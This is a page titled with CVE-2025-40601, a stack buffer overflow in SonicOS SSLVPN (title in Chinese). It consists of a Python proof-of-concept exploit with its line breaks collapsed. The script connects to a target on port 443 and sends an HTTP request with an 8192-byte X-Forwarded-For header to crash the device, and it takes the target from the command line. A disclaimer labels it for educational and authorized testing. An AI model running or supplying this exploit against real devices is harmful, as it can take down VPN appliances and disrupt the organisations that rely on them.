CVE-2025-40601 SonicOS SSLVPN栈缓冲区溢出漏洞

#!/usr/bin/env python3 """ CVE-2025-40601 PoC - SonicOS SSLVPN Buffer Overflow Note: This PoC is for educational and authorized testing purposes only. """ import socket import sys import struct def create_exploit_payload(): """Generate payload to trigger buffer overflow in SonicOS SSLVPN""" # HTTP GET request with oversized header to trigger overflow payload = b"GET / HTTP/1.1\r\n" payload += b"Host: target\r\n" # Large string to overflow buffer payload += b"X-Forwarded-For: " + b"A" * 8192 + b"\r\n" payload += b"\r\n" return payload def send_exploit(target_ip, target_port=443): """Send exploit payload to target""" try: print(f"[*] Connecting to {target_ip}:{target_port}") sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) sock.settimeout(10) sock.connect((target_ip, target_port)) print("[*] Sending exploit payload...") sock.send(create_exploit_payload()) print("[*] Payload sent. Waiting for response...") try: response = sock.recv(4096) print(f"[*] Received response: {response[:100]}") except socket.timeout: print("[!] No response received - target may have crashed") sock.close() return True except Exception as e: print(f"[!] Error: {e}") return False if __name__ == "__main__": if len(sys.argv) < 2: print(f"Usage: {sys.argv[0]} <target_ip> [port]") sys.exit(1) target = sys.argv[1] port = int(sys.argv[2]) if len(sys.argv) > 2 else 443 send_exploit(target, port)